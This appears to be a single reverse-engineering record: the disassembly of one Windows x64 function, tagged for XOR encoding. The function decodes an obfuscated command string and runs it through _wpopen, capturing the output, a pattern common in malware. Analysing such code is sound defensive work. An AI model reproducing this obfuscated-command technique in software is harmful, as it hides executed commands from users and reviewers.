Function at 0x1400ecf60
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x198]
sub rsp, 0x290
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rbp + 0x160], rax
mov rdi, rcx
mov qword [rsp + 0x20], rcx
xor ebx, ebx
xor edx, edx
mov r8d, 0x200
lea rcx, [rsp + 0x60]
call fcn.14014a514
mov eax, dword [0x140173abc]
mov dword [rsp + 0x20], eax
movups xmm0, xmmword [0x140176af8]
movups xmm1, xmmword [0x140176b08]
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm1
movups xmm0, xmmword [0x140176b18]
movups xmmword [rsp + 0x48], xmm0
cmp word [reloc.WS2_32.dll_gethostname], bx
je 0x1400ecff6
mov eax, WSAStartup
mov word [rsp + 0x20], ax
xor word [rsp + 0x22], 0x39
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400ed117
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x140178310]
movdqa xmm6, xmmword [0x1401780b0]
movdqa xmm7, xmmword [0x140178190]
lea rcx, [rsp + 0x28]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add ebx, 8
lea rcx, [rcx + 0x10]
cmp ebx, 0x18
jl 0x1400ed030
jmp 0x1400ed150
lea r8, [rsp + 0x28]
nop dword [rax]
mov eax, 0x4bda12f7
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, bx
sub ax, cx
add ax, 0x38
xor word [r8], ax
inc ebx
lea r8, [r8 + 2]
cmp ebx, 0x18
jl 0x1400ed120
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rbx, rax
test rax, rax
je 0x1400ed197
mov r8, rax
mov edx, 0x100
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
mov r8, rbx
mov edx, 0x100
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x1400ed1b4
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x28]
call fcn.14008a840
nop
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.1400e9fc0
nop
lea rcx, [rsp + 0x28]
call fcn.14008a0b0
mov rax, rdi
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.140148bf0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret